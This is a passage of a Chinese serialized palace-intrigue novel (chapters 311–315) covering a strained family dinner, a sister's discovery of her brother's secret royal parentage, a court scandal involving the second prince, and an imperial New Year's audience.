“具体怎么回事?详细说说。”
孟瑜无语地睨了一眼谢清源,当目光移到纪华筠身上时,又变得柔软。
纪华筠见他们都想听,兴致勃勃地讲述起来。
“我跟你们说,我爹娘原本是想给我哥挑一个京中贵女联姻的,但我哥威武,根本不理会他们,直接与心爱的姑娘成亲生子,把我爹娘气得不行。
嫂嫂是南境军中武官的女儿,身份自然没有京中贵女高,但她与我哥自小青梅竹马,感情非常好。
不过,我哥的完全不听话,却害惨了我。
我娘对我管束越来越严,我哥不娶高门贵女联姻,我就得嫁到更高门第的人家,还想要我争着去当二皇子的正妃,我才不稀罕呢!
被他们逼急了,我也跑,看他们怎么办?”
纪华筠说到高兴处,咧着嘴,对着孟瑜笑得畅快。
“阿瑜,你爹要是管你管得紧,让你不高兴了,我就陪你一起跑,闯荡江湖比待在京城,有意思多了!”
“咳咳……”
谢清源故意咳嗽,打断纪华筠要带跑孟瑜的话。
“我和阿瑜没有吵架,只是因为一点小分歧,稍微讨论了一下,现在已经解决了,你们放心,我都会搞定,不会让阿瑜不高兴。”
谢清源和蔼地对着纪华筠笑。
“华筠啊,你和我们阿瑜明年就要成亲了,这成亲之前,可不能再乱跑了,三书六礼繁琐,我们两家都有好多事要忙,你们也要好好准备啊。”
提到成亲,纪华筠与孟瑜对视一眼,露出几分小女儿的羞怯。
“成亲有那么忙吗?我还想着开了春后,和阿瑜出去玩一趟再回来成亲。”
“那怎么能行呢?”
谢清源急切地想要打消他们离京的想法。
“成亲一事,不能马虎,更何况你们俩是陛下赐婚,更要重视!”
纪华筠眨了眨眼,觉得他说得有道理,“好吧,那就等我们成亲以后,再出去玩。”
“这……”谢清源头疼扶额。
未来儿媳妇怎么总想着要把他儿子拐出京城啊?
就不能留在京城,陪陪他这个可怜又卑微的老父亲吗?
“阿瑜还在羽林军当差,不能离开京城……”
“他不是不干了吗?”纪华筠疑惑地看向孟瑜,“对吧,阿瑜?”
孟瑜淡定点头,“对,不干了。”
“不干是好事啊,宫里规矩森严,各宫勾心斗角,麻烦得很,哪有外边肆意潇洒?”
纪华筠每多说一句,谢清源的脸色就暗沉一分。
纪华筠开心地说着,最后还专门对着谢清源问道:
“谢大人,你是阿瑜的父亲,你一定也希望他过得快乐,对吗?”
谢清源一噎,他当然希望儿子快乐,但不想儿子离开自己。
他眼巴巴地瞅着孟瑜,慈爱地说:
“当年给阿瑜取名,最先用的是愉快的‘愉’字,我和你娘,不求你有多大出息,只想要你健康快乐地长大。
是你祖父听说后,专门让人来传话,说你可以不姓谢,但名字要从谢家这一辈的玉字,所以才给你改名为‘瑜’。”
小时候的孟瑜,确实如谢清源和孟天期盼的那般,是个活泼快乐的孩子。
但经历变故后长大的孟瑜,日常冷着一张脸,一副生人勿近的架势,很难从他冷峻的脸上,看到愉悦的神采。
“原来阿瑜的名字,是这样来的?”
纪华筠双手托着下巴,听得津津有味。
“我还以为是取自典故‘怀瑾握瑜’,分别挑了字,给孟瑾和孟瑜做名字。”
谢清源眼中闪过微不可察的紧张,随即笑道:
“没想到华筠你不但武功好,学问也不错,你讲得不错,我两个儿子取名时,也有参考典故。”
谢清源有些后悔自己一时真情流露,说了孟瑜的名字由来。
真实情况是,孟瑾的这个假名,是后来根据孟瑜的名字取的,为了让他们的名字听起来像兄弟,参考了纪华筠所说的典故。
“你们在说什么典故?”
恰在此时,孟瑾带着孟蕊走进饭厅,在桌边落座。
孟瑾和孟瑜一左一右坐在谢清源身边,孟蕊坐在纪华筠身边,两边隔了两人位的距离,分开了男女席。
“没什么。”
谢清源想要跳过这个敏感的话题,对下人招了招手。
“人都到齐了,快上菜吧,我都饿了。”
孟瑜无视谢清源的眼神示意,自孟瑾进门,便眼神犀利地盯着孟瑾。
“父亲在说,你和我名字的由来,大哥,你可知道是何缘故?”
孟瑾回望孟瑜,温和地答道:
“知道,你我的名字,均源自美玉,也都是祖父所取,他希望我们成长为如玉君子,品格高尚,自带光华。”
孟瑜眼尾一挑,语气带着几分挑衅,“那你觉得,你是君子吗?”
第311章 尴尬家宴
孟瑜的话出口,饭厅里的众人神色各异。
谢清源呵呵干笑着,“阿瑜,有什么事吃完饭再说,啊?”
纪华筠扯了扯孟蕊的衣袖,小声问:
“怎么回事?阿瑜和你们大哥也吵架了?我很少听到他说话这样夹枪带棍的。”
“啊?应该没有吧……”
孟蕊敷衍着纪华筠,愣愣看着孟瑜和孟瑾。
今天之前,孟蕊也不理解,为何孟瑜对孟瑾总带有隐隐敌意,曾猜想过,是因为兄弟俩多年未见,一个习文,一个重武,有所隔阂导致。
现在知道了孟瑾的真实身份,孟蕊终于明白,孟瑜对孟瑾的敌意,来源是十六年前,谢清源选择去救孟瑾。
在年幼的孟瑜眼中,父亲就是为了外人,抛弃了自己和母亲。
十六年前的事,孟天没有放下,所以给谢清源留了休书后离去。
孟瑜也没有放下,对谢清源的补偿不屑一顾,对便宜兄长孟瑾,更是没有好态度。
孟瑾依然温和地注视着孟瑜,仿佛感受不到对方的敌意般,在略微思索后,认真回答:
“君子之道,修德正行,无穷尽也。然吾虽崇敬君子,并不迫己必成君子。”
孟瑜眉头一皱,“你不想当君子,难道要当小人?”
“世间万事,并不是非此即彼,无论是君子还是小人,很多时候,都是外界他人,对你的评价而已,无需过多在意。”
孟瑾微微一笑,温润的眸中闪过伤痛。
“我先前之过,在于弱小,见家人受苦而无能为力,乃命中至痛。”
他唇边温柔的笑容依旧,眼神坚韧而笃定。
“修身齐家,先要自己强大,才能保护家人,这是我最在意的,至于是否被他人评判为君子,便由他们说去。”
孟瑜看着孟瑾,冷若冰霜的表情,有了一丝松动。
他沉默着收回视线,垂眸敛目,不知在想些什么。
纪华筠看看孟瑜,又看看孟瑾,附在孟蕊耳边问:
“你两个哥哥在打什么哑谜?我怎么听不懂啊?”
孟蕊知道原委,自然是听懂了,但她不能告诉纪华筠,随意应付道:
“没有哑谜,哥哥们在探讨君子之道。”
“你在忽悠我?”
纪华筠怀疑地睨着孟蕊。
“哼,你不说,我待会儿问阿瑜去。”
孟蕊只是笑笑,她能说什么?
总不能告诉纪华筠,孟瑜在为十六年前的事,向孟瑾发难。
而孟瑾口中谈论着君子之道,实则是在向孟瑜解释他事发时年幼弱小,无能为力,他将孟天和孟瑜都看作亲人,知道他们受苦,自己也很难过。
孟瑾还做出承诺,宁不做君子,也要保护亲人。
孟瑜也听明白了孟瑾的意思。
当年局势紧张,孟瑜不过三岁,孟瑾也只是五岁的孩童,他们都太小,面对突然的灾祸,能做的很有限,甚至说不上对错。
孟瑜心中的怒意渐渐沉寂,他知道自己不该把怒气,撒在当年同样还是孩童的孟瑾身上。
但孟瑜又无法忘记,谢清源抛下他和母亲的原因,就是为了去救孟瑾。
他可以不责怪孟瑾,却也不想给孟瑾好脸色,只能保持沉默。
饭桌上,美味佳肴已经上齐。
谢清源笑着招呼儿女和未来儿媳随意用膳。
“好了,有什么话,吃完饭再说,来,都动筷吧。”
饭桌上的气氛有些不尴不尬,孟蕊埋头默默吃饭。
纪华筠虽不知内情,但也能察觉到谢清源、孟瑾和孟瑜父子三人之间的诡异氛围。
她也没再说话,眼神总有意无意地瞄向孟瑜。
孟瑜抬眸,撞上纪华筠的视线,他扯了扯嘴角,想对她笑,却只做出了一个无奈的表情。
纪华筠立刻感受到孟瑜的忧伤,她斜眼瞥了谢清源一眼,十有八九,就是这个偏心的老头伤了孟瑜的心。
谢清源浑然不觉,正对近期的安排侃侃而谈。
他从孟天回京时间推后,讲到年节的准备,再说到除夕宫宴。
孟瑜心里堵着气,不搭理他。
纪华筠因为孟瑜不开心,也不想搭理他。
孟蕊今日突然知道了家中的大秘密,这会儿依然心乱如麻,不敢说话,怕多说多错,引起父兄关注。
只有孟瑾,时不时应和着谢清源的话,不至于让独自滔滔不绝的谢清源难堪。
一顿饭吃完,孟瑜就起身离开。
纪华筠追着孟瑜,跑出了门去。
孟蕊也找了个理由,说要去整理下午逛街时买的东西,与父兄告辞,走出了饭厅。
孟瑾望着孟蕊的背影,逐渐消失在黑夜中,转头看向谢清源。
“父亲,今日府中发生了何事?阿瑜和蕊儿的情绪,都不太对。”
谢清源叹着气,将上午谢馨来府中闹的那一场,还有孟瑜私自请辞,不再去羽林军中当值的事,都给孟瑾说了一遍。
“蕊儿倒还好,她比我冷静,拿捏住了你二姑姑,今后应是不会再来撮合蕊儿和学峥了。
阿瑜对这事很生气,觉得我作为父亲,没有保护好蕊儿的名声。”
谢清源对此感到内疚,但不想让孟瑾为家事烦忧,又道。
“你放心,阿瑜那边,我会处理妥当,他怨的是我,与你无关,你做好手头的事,我明日去帮阿瑜告假,让他休息一段时间也好。”
孟瑾听完谢清源的话,清润的眸中划过一丝晦暗。
“父亲,蕊儿的婚事,不要着急,无论谁来提亲,您全都拒绝便是。”
孟瑾顿了顿,又补充道。
“母亲疼爱蕊儿,想要多留她几年,您若是不经过母亲同意,定下蕊儿的婚事,后果不堪设想。”
“我当然知道,蕊儿的婚事,只能小天来定。”
谢清源想到孟天给他的休书,哭丧着脸。
“要是连女儿的婚事都保不住,我和小天,就真的没有以后了……”
孟瑾也知道休书的事,安慰谢清源:
“您别沮丧,等过几日,母亲回来,你们好好谈一谈,母亲与您多年夫妻感情,分开十六年都能团聚,不会说散就散的。”
孟瑾看着谢清源愁苦欲哭的样子,转移了话题。
“对了,父亲,阿瑜今日没去宫中当差,因祸得福,刚好躲过了一桩二皇子的麻烦事。”
说到正事,谢清源收敛情绪问:
“二皇子又怎么了?”
第312章 故意演的?
孟瑾饮了一口茶,不紧不慢地说:
“今日午后,几位御史台的大人,带着晋国公府二房的齐月佳进宫面圣,求陛下为被二皇子强占的齐月佳主持公道。”
孟瑾清俊的面庞上,浮现讽刺的笑。
“据说强占之事,发生在二皇子于闹市的私宅,齐月佳衣衫不整地逃出来求救时,许多百姓都看到了。
二皇子私德不修,强迫女子的丑事,已经甚嚣尘上,在京中传得沸沸扬扬。
陛下闻之震怒,立刻派羽林军去捉拿二皇子回宫问话。
若阿瑜今日如往常般,在宫中当差,这捉拿二皇子的差事,应是会落在他身上。”
“竟有这等事?!”
谢清源瞪大了眼。
“确定是二皇子和齐月佳?齐月佳的父亲,不是获罪被刑部关起来了吗?二皇子怎会和她搞在一起?你没说错人?”
孟瑾平静地点头,“是她,陛下同时召了晋国公入宫。”
“那就有意思了。”
谢清源逐渐平复惊讶,开始分析起来。
“晋国公被撸了官职,若以后不能起复,便是曹家的弃子,齐月佳的父亲已经入狱,以她现在的身份,曹家不会准许她嫁给二皇子,即便是侍妾,都困难。”
“父亲说的是,但犯错的是二皇子,有御史旁观为证,还有百姓声讨,曹家再霸道,这次二皇子也要负起责任了。”孟瑾沉声道。
谢清源摸着下巴思考了一会儿,一连问道:
“现在发展到什么情况了?二皇子被带进宫了吗?陛下怎么说?”
孟瑾颔首,“晚膳之前收到消息,羽林军翻遍了京城,终于找到了躲藏在曹府的二皇子,现在已经带进了宫,曹尚书也跟着一起。”
“啧啧,身为皇子,出了事不去解决,居然躲起来。”
谢清源咂了咂嘴,嫌弃道。
“那羽林军岂不是找了他一下午?还好阿瑜没去,要是和二皇子起了冲突,旁人还道我们阿瑜假公济私,给蕊儿出气。”
孟瑾表示赞同,“阿瑜没去,他们就无话可说。”
“不行,我得派人再出去探探消息,过了这些时候,宫里应该有决断了。”
谢清源站起身,就往门外走。
孟瑾看着谢清源风风火火地离开后,自己也起身,踱步回了自己的院子。
“来人。”
一名暗卫跃身出现在孟瑾身侧,恭敬行礼,“公子有何吩咐?”
“去查清楚小姐今天去了哪里,见了什么人?做了什么事?”
孟瑾冷声下令,语气威严。
“事无巨细,通通报于我。”
“遵命,属下立即去查。”
暗卫向后,飞身离开,消失在茫茫夜色中……
菡萏院中,孟瑜和纪华筠,肩并肩坐在屋顶。
纪华筠抬起手肘,戳了戳孟瑜的腰。
“阿瑜,你有什么不高兴的事,说出来嘛!”
孟瑜伸手捂住被纪华筠碰到发痒的部位,“我没有不高兴,你别瞎猜。”
“你就是不高兴了!”
纪华筠侧过头,蹙着眉看他。
“第一次见你的时候,你也是这个表情,你跟着秦世子去参加那些宴会,是为了见你父亲吧?
你那时见到他了,很不高兴,黑沉着脸进入花园假山里,吓了我一跳。”
想到与纪华筠的初识,孟瑜嘴角牵动,绽放笑意。
“我也不知道,那假山里,还有一个小哭包。”
他转过头,对上纪华筠的双眸,唇边笑意扩大。
“你当时哭得满脸都是泪,把我吓了一跳才对。”
纪华筠羞恼地捂住脸,强硬道:
“我哭怎么了?我那时才十二岁,回京城不到两年,相依为命的哥哥抛下我自己跑回南境去了,留我一人遭受爹娘的严厉管教。
那天,我不过是和其他家小姐说话时,嗓门大了些,笑时没有捂嘴,就被那群名门贵女背地里嘲笑是乡下妞。
我娘把我叫到无人的房间,狠狠训斥了一通,我实在受不了了,才躲到假山里哭的,要是不能发泄出来,我会疯掉的。”
纪华筠越说越理直气壮,对着孟瑜提议。
“阿瑜,你的痛苦伤心,也都哭出来吧!我给你擦眼泪,不会嫌弃你,不好的情绪憋在心里,会得病的。”
“我没事,晚膳时那些话,我是故意说的。”
孟瑜语气轻松地说。
“我必须表现出强烈的反感,才能让他们相信,我离开羽林军的决心,二皇子今日发生的那些糟心事,就不会怀疑到我头上。”
纪华筠惊讶得檀口微张,恍然大悟,“阿瑜你原来是演的?把我都骗过去了。”
“其实,就算没有昨日三皇子的招惹,我今日也会找别的理由告假几日。”
孟瑜嘴角噙着笑,对纪华筠解释。
“二皇子做出丑事,陛下一怒之下,定然会派羽林军亲卫去捉拿,我领头去拿人,会让他们怀疑我,所以我一定不能去。”
“那你在外头演就行了,怎么对自己的父亲和大哥也瞒着呢?”纪华筠不理解。
孟瑜笑容收敛,“他们有自己的打算,我和他们不在一条船上。”
“什么意思?”纪华筠更不懂了。
孟家一共就五口人,他们其中还分了派别?
“意思是,我只做我想做的事,比如和你在一起,比如保护妹妹。”
孟瑜眸色渐深,抬起头,望向月朗星稀的夜空。
“我一直以为自己是被抛弃的孩子,父亲有了新儿子,母亲有了新女儿,只有我,停留在原地……
后来我才知道,从出生就被调换的妹妹,和我一样也被抛弃,我要保护好她。”
“阿瑜……”纪华筠心疼地握住孟瑜的手,“我们都已经长大,那些人再也伤不到我们。”
孟瑜回握住她的手,对上她莹润的水眸,“我只是感叹一下,你怎么又要变小哭包了?”
“我才没有要哭呢!说真的,只要你一声令下,我立马跟你离开京城。”
纪华筠握拳,振奋地说。
“我们要过自己的开心日子,离那些烦心的人远远的,再也不回头。”
孟瑜看着她斗志昂扬的模样,忍俊不禁道:
“知道你想去闯荡江湖,但现在不行,总要等办完我们的婚事再说。”
第313章 彻夜未眠
翌日,纪华筠带着满满三个大箱子,坐上了永宁侯府派来接她回家的马车。
她在谢府玩得乐不思蜀,即使再不愿意,也不得不在过年前回家。
几日后的除夕宫宴,她还要与永宁侯夫妇一起出席,需得提前准备。
送走了纪华筠,孟蕊觉得耳边清净了不少,但精神却提不起来。
昨日在谢清源书房外听到的惊天消息,依然让她内心久久不能平静。
孟蕊昨夜,还因此失眠,一闭上眼,就想到孟瑾的身世,以及与孟瑾相关的那些情景。
第一次见到孟瑾,是在人潮涌动的街上,孟瑾帮她赶跑欺负她的姜铭昊,还带她去书院告姜铭昊的状。
第二次见面,是在青城郡主的雅集上,姜瑶要抓她,被突然出现的孟瑾拦下,又一次帮了她。
第三次见面,是她看了如意楼的消息,得知孟瑾是她大哥,去书院找孟瑾,遇到安乐侯父子纠缠,孟瑾再一次救了她。
那一天,孟瑾成为了她的兄长,以兄长的身份,带她去向青城郡主请辞,然后把她带回了家……
厉青鸿闯入谢府那晚,孟瑾敢带着弓箭手和侍卫,将身为镇北王的厉青鸿抓起来……
在承恩公府时,孟瑾说不记得小时候住过的房间……
太后宫宴上,孟瑾对她说的那些关于宸元皇后的评价……
皇宫偏院中,皇帝和她讲述的关于婚书的过往……
孟家堡中,孟剑雨听到她提到孟瑾时,眼神疑惑……
原来,一切都有迹可循,只是她当时并未察觉。
失眠一整夜的孟蕊,望着纪华筠的马车驶远,才转身缓步走回自己的院子。
她歪在榻上,想要小憩一会儿,但闭上眼,那些关于孟瑾的记忆,再次纷至沓来,让她不可控制地反复思量。
孟蕊烦躁地睁开眼,心里压着这么大一个秘密,却无人可说,让她坐立难安。
“小姐,您是否身子不适?可要请大夫来看看?”吟秋立在塌前询问。
昨夜是吟秋守夜,她凭呼吸声就能判断,孟蕊一夜都未睡着,不免有些担心。
孟蕊从榻上坐起,疲惫地叹了口气。
“我没事,大概是今日没有练武,有些不习惯,我现在去练武场。”
睡不着,就是不够累,孟蕊如此想着,起身换了衣裳,向练武场而去。
因临近过年,丁师父已经回了老家,要年后才归京,孟蕊这几日都是自个儿练习。
但今天,练武场中,似乎还有其他人在。
孟蕊走进练武场,就看到一人着玄色劲装,手持长剑,背对着她,立于场中。
倏尔剑动,如寒光乍破,似银龙出渊,寒芒映亮他如玉侧颜,让孟蕊看清了他的面容。
是孟瑾!
只见他身形灵动,矫若游龙,纵跃时墨发飞扬,衣袂翻飞似惊鸿振翅,剑势凌厉,剑锋流转,忽而旋身疾刺,回腕剑尖轻颤,飒如流星。
最后一式收势,长剑归鞘,意气峥嵘。
孟瑾抬眸望向孟蕊,唇边漾起轻笑。
“蕊儿,你今日来晚了。”
“大……哥……”
孟蕊怔愣了一瞬,不得不走上前,对孟瑾打招呼。
“你没去衙门?怎会有空在此练剑?”
孟瑾温柔的目光,仿佛定在孟蕊身上,沉沉道:
“我在等你。”
“等……等我?”孟蕊心中一慌,“等我做什么?”
孟瑾笑意柔和,“自然是等你来一同习武,可惜久等不到,我就自行练剑了。”
“原、原来是这样……”
孟蕊松了一口气,她还以为她昨日偷听的事被发现了。
“我刚才去送华筠姐姐,所以来晚了些。”
想到纪华筠,孟蕊颇有微词。
“华筠姐姐离开时,把秦世子送给翠柳的话本子,全都装箱带走了,我去点了一下数量,以便她之后看完好还给秦世子。”
孟蕊实在不想单纯的翠柳,再和秦仲棋这个名声浪荡的风流世子有瓜葛。
点清话本的数量,以后就算纪华筠不还,孟蕊也会折算成现银,还给秦仲棋,务必两不相欠,让秦仲棋没有理由再来骚扰翠柳。
孟瑾“嗯”了一声,眸色了然地对孟蕊说:
“据我所知,秦世子文采斐然,当年也曾中举,一手策论写得出色,想来话本也写得精彩,只是后来家中变故,欠下债务,他不得不放弃科考,做起了生意。
其人虽风评不佳,时常流连风月场所,但大多为生意应酬之故,未作出违法背德之事,蕊儿不必太过紧张。”
听到孟瑾对秦仲棋的正面评价,孟蕊好奇地问:
“我听说永安伯府之前欠下的债务,已经被秦世子还清,府中财富充盈,为何他不再继续参加科考呢?”
“大概心境不同了吧。”
孟瑾轻轻感叹,语气中带着几分无奈。
“他混迹商场日久,与朝中官员世家交情越来越深,看到的、听到的负面消息太多,对科考入仕已经没了少年时的期待。
再加上他的父亲永安伯,多年来卧病在床,需要靠着人参、灵芝等珍稀药材续命,都是秦世子供养。
且我朝规定,为官者不可行商,若秦世子科考入仕,他就不能继续做生意,想来也是舍不下的。”
孟蕊知道这条规定,她爹谢清源是皇商,又是皇帝心腹,也只挂了光禄大夫的虚职而已。
秦仲棋年少时,永安伯府老夫人去世,伯府分家斗争激烈。
秦仲棋的父亲永安伯,仁善好脾气,府中值钱之物都被二房三房抢走,只留了永安伯的爵位和一堆债务,给秦仲棋所在的大房……
秦仲棋做生意还债,一路熬过来不容易,他应该也不想轻易放弃自己辛苦打拼的产业。
“大哥你知道的真多。”孟蕊笑着夸赞,没话找话。
自从知道了孟瑾的真实身份后,孟蕊与孟瑾待在一处,总不如之前自在,她不太想练武了,准备找个借口离开练武场。
“嗯,为兄这里知道的消息确实不少。”
孟瑾含笑注视着孟蕊,语带深意。
“蕊儿还想知道什么?尽可以问我,我必然坦诚相告,知无不言。”
第314章 他的暗示
孟蕊心头一跳,她觉得孟瑾这话说得,好像在暗示她什么。
他难道知道,她知道了他的身世?
故意在诈她呢?
孟蕊纠结地抿了抿唇,她当然有很多想要问他的事。
关于十六年前的详情,关于是否夺嫡的决定,关于他们日后的计划……
孟蕊都很想知道,但她真的可以问吗?
捅破这层窗户纸后要面对的事,是她可以承受的吗?
“说起来,确实有件事想要问大哥。”
孟蕊定了定心神,抬眸对上孟瑾期待的目光。
“我一直都觉得,贩卖消息情报的如意楼,给我关于身世的消息,太准确了,而我与大哥你认亲的过程,太过顺利。
所以我最近在想,如意楼该不会与……爹爹和大哥有关,才能那么适时地给我提供消息。”
孟蕊没有说的是,如果如意楼真能查清她的身世,找到她的亲生父母兄长,那么足以说明,如意楼势力之大,消息来源之广。
如意楼在调查孟蕊身世的过程中,不可避免会查到孟瑾,那孟瑾的皇子身份,岂不是也有被查到的风险?
她昨夜最纠结的,就是这个问题。
孟瑾的皇子身份被查出,会影响如今夺嫡的形势,牵连甚广。
孟蕊不想因为自己的无心之失,害了孟瑾和谢家。
可换个角度想,过去了半年多,孟瑾的真实身份依然被保护得很好。
很大可能就是,如意楼是他们自家的,在一并隐瞒孟瑾的身份。
“蕊儿聪慧,如意楼确实是父亲建立的情报网,当时给到你的消息,也经过我的授意。”
孟瑾坦然承认,又进一步解释道。
“那时我能确定你的身份,除了你在京兆府告状时说出的重点外,也因为你让如意楼调查姜瑶,我提前得到了如意楼查到的关于姜瑶的消息。
将两边的消息合在一起,我对你是我妹妹的可能有了猜想,飞鸽传书向父亲确认。
等到父亲的回信后,我才敢与你相认。”
孟蕊听完孟瑾的确认,松了一口气,如意楼是他们家的就好,不用再忐忑不安了。
“多谢大哥解惑。”
孟蕊扬起笑脸,在孟瑾灼热的目光中,越发觉得不自在。
“对了,我突然记起来,还有事要去和翠柳说,今日就不练武了,我想先回去。”
孟蕊避开孟瑾的视线,转身就要溜。
“等等!”
孟瑾叫住她,目不转睛地注视着她。
“蕊儿,你没有其他事要问我了?”
“我……”孟蕊故作困惑地摸了摸额角,“应该没有……大哥还有什么事吗?”
孟瑾眸中期待的光转黯,“没事,你去忙吧。”
孟蕊对孟瑾乖巧一笑,转身快步离开了练武场。
等到孟蕊的身影走远,暗卫悄无声息地出现在孟瑾身边。
“公子,属下已调查清楚,昨日傍晚,老爷和二少爷在书房谈话时,小姐经过书房门口,走向书房所在的院子侧方。
之后有约莫两刻钟的时间,小姐都没有在其他地方出现,而在书房后侧窗外的草地上,有新压过的痕迹,很可能小姐当时蹲在那处,听到了老爷和二少爷的谈话。”
孟瑾面庞上温和的笑意淡去,对暗卫挥了挥手。
“调查到此为止,以后不许再提。”
“属下遵命。”
暗卫行礼后,一个跃身,不见了踪影。
孟瑾站在原地,看着手中长剑,轻笑着摇了摇头,迈步走出练武场。
……
孟蕊回到自己的院子,一进屋,就直奔床榻。
脑袋沾到枕头,她感觉全身放松,终于沉沉睡了过去……
接下来的几天,孟蕊待在家中没有出府,除了准备除夕宫宴穿的衣服,就是看看书,练练武,来打发时间。
好在那天过后,孟瑾每日都很忙,孟蕊没再在练武场遇到孟瑾。
倒是孟瑜不去宫中当差后,空闲多了,时而到练武场,指导孟蕊的武功。
从孟瑜口中,孟蕊知道了之前在曲生楼旁观事件后续。
那几名在人群中看热闹的御史,带着齐月佳进宫面圣。
其中,许御史将在二皇子私宅外听到的,看到的,全都绘声绘色地讲给皇帝听。
皇家颜面有损,皇帝龙颜大怒,命羽林军亲卫去把二皇子抓进宫问罪。
羽林军翻遍了京城,才在天黑之后,找到了躲在曹家的二皇子。
曹尚书亲自带着二皇子,和羽林军一起进宫。
跪在皇帝面前的二皇子,矢口否认他与齐月佳的关系,并控诉齐月佳诽谤,甚至说出和齐月佳苟且之人,是与自己长得像的野男人。
齐月佳也不是吃素的,她敢引二皇子上钩,就是有备而来。
她直接掏出了二皇子不离身的玉佩,说是二皇子给她的定情信物。
两人各执一词,争论不休。
晋国公赶到时,急切磕头,替齐月佳认罪,说她污蔑二皇子,让皇帝只管严判。
齐月佳见自己的亲大伯如此拆台,冷笑一声,反手就拿出证据,证明晋国公为了脱罪,让齐月佳的父亲顶罪的事实。
这下,事情闹大。
皇帝看过齐月佳呈上的证据,连夜召大理寺卿和刑部尚书入宫,将晋国公府的案子发回重查重审。
多了齐月佳提供的有力证据,足够给晋国公定罪,刑部和大理寺两日之内,就快速结案。
晋国公被下狱,齐月佳的父亲被放了出来。
皇帝念在晋国公府祖先的功绩,只褫夺了晋国公府的爵位,查封了晋国公府的宅子,放了府中众人一条生路。
听说齐辕和齐轩,已经带着一家老小,搬进了京郊的庄子里居住。
齐月佳因举报有功,齐家二房名下的所有财产得以保全,与其他齐家人分开,住进了康乐坊的宅子里。
皇帝为了皇室尊严,要将齐月佳赐给二皇子为侧妃,旨意已经拟定,择日宣布。
孟瑜一边说,一边摇头。
“我真搞不懂,齐月佳和二皇子都闹成那样了,她居然还愿意嫁给他。”
孟蕊幽幽叹息,“二皇子还没有正妃,齐月佳嫁过去就是府中地位最高的女人,她应该是想要搏一把,至于能不能赢,就要看她自己的手段和造化。”
“不管他们了,马上就要到除夕宫宴,我预感会有事发生。”
孟瑜看向孟蕊,严肃地说。
“蕊儿,你到时跟紧我,务必小心谨慎。”
第315章 除夕宫宴
除夕宫宴在晚上举办。
早早用过午膳,谢清源就带着儿女们进宫,直接去泰和殿拜见庆明帝。
孟瑾、孟瑜和孟蕊,一起向着庆明帝行晚辈礼,磕头跪拜。
庆明帝很高兴,笑呵呵地拿出三个红包,按照民间过年的习俗,把红包送到他们三人的手中。
孟蕊捧着颇有分量的红包,跟着孟瑾和孟瑜一起谢恩。
“都免礼。”
庆明帝走到他们身边,亲切地将他们扶起来。
“私下里咱们自在些,不用这么多虚礼。”
他慈爱的目光,在三人身上一一扫过,最后落在孟瑾身上。
“阿瑾,你是兄长,要好好照顾弟弟妹妹。”
孟瑾恭敬应是,“陛下放心,微臣定不负所望。”
庆明帝深沉的眸中,闪过一瞬的失落,很快被他用笑掩饰过去,又看向右手边的孟蕊。
“朕好久没见到蕊儿了,这次回京来,不会再走了吧?”
“回陛下,臣女此次回京,会住上一些时日,是否离京,还要听母亲安排。”
孟蕊实话实说道。
她提前回京,是为了解救许南音。
之后的打算,不会一直留在京城,她想要多出去走走,多看看外面的大千世界,开阔自己的视野。
“这么说,你还要走啊?”
庆明帝不经意地瞄了眼孟瑾,对孟蕊亲和地劝道。
“蕊儿,你好不容易回到家,认回了父亲和兄长,怎么舍得把他们留在京城,自己跑去外头逍遥呢?你该多陪陪他们……”
“陛下!”
孟瑾突然打断庆明帝的话,恭敬声中带着一丝警告。
“蕊儿有权利按自己的意愿生活,是留在京城,还是闯荡江湖,全凭她的选择,我们一家都支持她,陛下您日理万机,不必过多在意这等小事。”
庆明帝看向孟瑾,眼中带着几分焦急。
“朕还不是为了……”
在孟瑾更加严肃的眼神中,庆明帝的声音戛然而止,化作一声叹息。
“罢了,你都说是你家的事,你们自己决定,朕不管了。”
庆明帝似有些赌气般,冷哼一声,背过身去,却又偷偷用余光瞄向孟瑾,像是在等着孟瑾来哄。
即使亲眼所见,孟蕊也有些怀疑是自己看错了。
在朝臣妃嫔面前威严凛然的陛下,竟然还有如此一面。
孟蕊看向身边父兄的反应。
谢清源似乎早已习惯,乐呵呵地看着孟瑾,等着孟瑾说话。
孟瑜面无表情地站着,手指捏着刚收到的红包,似乎在摸索猜测红包里的东西。
而孟瑾,只拱了拱手,毫无情绪波动地说了声:
“陛下英明。”
庆明帝回头睨着孟瑾,眼神犀利,没有说话。
孟瑾坦然抬眸,对上庆明帝的视线,也保持沉默。
孟蕊看着这一幕,想着若她不知道孟瑾是陛下的亲儿子,此时一定会惶恐不安,但现在,她只觉得错愕。
原来孟瑾和陛下这对父子间,是这样相处的吗?
片刻之后,庆明帝败下阵来,收回视线,对谢清源无奈道:
“阿瑾性子如此倔强,谢卿多年不易啊。”
谢清源摆摆手,笑着说:
“陛下哪里话,自个儿的孩子,自个儿疼,有时候啊,咱们做父亲的,要多理解孩子们一些,多给一些自由,这父子关系才能处得好。”
谢清源指了指身旁的孟瑜。
“和阿瑾相比,阿瑜性子才叫倔,和三殿下闹了点别扭,就不想进宫当差了,微臣没办法,前几天去和霍统领替他告了假,想让他休息段时间,也好准备起婚事。”
孟瑜随即躬身一拜,“陛下,卑职自小在江湖粗野惯了,实在无法胜任羽林军之职,想要辞去羽林军左郎将一职,请陛下恩准!”
庆明帝一愣,下意识看向谢清源。
谢清源苦笑着说:“陛下,微臣命苦啊,儿女们一个两个的,都想往外跑,只有阿瑾最贴心孝顺,愿意留在京城,虽然他公务繁忙,但好歹时常能见面。”
庆明帝点了点头,深以为然。
与谢清源总想往外跑的妻子儿女相比,孟瑾虽然性子倔了些,因为特殊原因不能养在身边,但庆明帝想见他时,总能见到,也是好的。
庆明帝将行礼的孟瑜扶起,温和道:
“阿瑜,你父亲这些年为国尽忠,替朕分忧,很不容易,你先休息一段时间,好好陪陪他,其余的,过完年再说。”
孟瑜见好就收,“谢陛下关心,卑职遵旨。”
庆明帝满意地瞧着孟瑜,感叹道:
“你小时候,朕还抱过你,一转眼都要成亲了。
纪家姑娘颇富才名,是京中闺秀的典范,中意她的人家不少,但朕最看好你。
给你们赐婚,朕也顶着不少压力,你要好好待她,可别让朕失望啊。”
孟瑜一点就通,立即明白庆明帝说的意思。
曹家曾有意纪华筠为二皇子正妃,庆明帝给纪华筠和孟瑜赐婚,定然受到了来自曹家和曹太后的压力。
孟瑜有所得,必要有所付出。
他再次对庆明帝郑重行礼,“卑职谨记陛下教诲。”
为了纪华筠,孟瑜愿意稍微失去点自由,在这京中朝堂周旋些时日。
这时,高公公从殿外进来,走到庆明帝身边禀报:
“陛下,五公主和青城郡主在外头,都说要给您拜年请安。”
“今日事忙,小五来凑什么热闹?”
庆明帝皱了皱眉,有了决定。
“让她回去,请青城郡主进来。”
